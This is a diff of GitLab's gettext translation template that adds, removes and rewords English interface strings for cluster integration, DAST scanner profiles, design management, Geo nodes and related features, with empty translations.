@@ -4821,9 +4932,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -4929,6 +5046,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -4962,19 +5082,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
+msgstr ""
+
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5022,13 +5148,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5046,6 +5175,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5085,15 +5217,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5118,6 +5247,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5301,9 +5433,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5499,7 +5628,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5718,12 +5847,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5763,15 +5895,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5796,6 +5940,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5811,9 +5958,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5844,7 +5988,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6021,6 +6165,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6220,7 +6370,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6670,9 +6820,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6757,6 +6904,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6769,6 +6919,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6793,15 +6946,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6832,6 +6991,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6847,6 +7009,10 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+
msgid "Create"
msgstr ""
@@ -6937,6 +7103,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -6973,6 +7142,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -6997,6 +7169,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7168,6 +7343,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7264,6 +7442,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7427,6 +7614,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr "DNS"
@@ -7457,25 +7647,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7484,7 +7704,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7496,6 +7725,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7505,12 +7737,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7583,7 +7872,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7661,10 +7950,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7721,6 +8010,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7742,15 +8034,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7760,6 +8061,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7785,6 +8089,10 @@ msgid "Dependencies|%d additional vulnerability not shown"
msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7792,6 +8100,9 @@ msgstr[0] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7804,6 +8115,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7822,6 +8136,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7859,8 +8176,8 @@ msgid "Depends on %d merge request being merged"
msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgid "Deploy"
@@ -7903,7 +8220,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8137,13 +8454,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8176,15 +8502,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8266,7 +8583,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8275,6 +8595,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8287,7 +8610,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8392,9 +8718,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8408,7 +8731,7 @@ msgid "Dismiss %d selected vulnerability as"
msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8660,9 +8983,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -8951,9 +9271,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9122,6 +9439,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9146,7 +9466,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9425,6 +9745,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9752,7 +10075,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9773,6 +10096,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9782,9 +10108,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9797,9 +10120,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9809,9 +10129,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9824,9 +10141,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10257,12 +10571,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10347,6 +10667,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10356,9 +10679,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10398,6 +10718,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10623,6 +10946,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10794,30 +11120,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10833,12 +11144,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10866,12 +11171,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10893,15 +11192,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -10929,27 +11219,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -10962,6 +11237,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11025,6 +11306,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11157,10 +11444,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11337,7 +11624,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11454,7 +11741,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11736,6 +12026,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12012,7 +12305,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
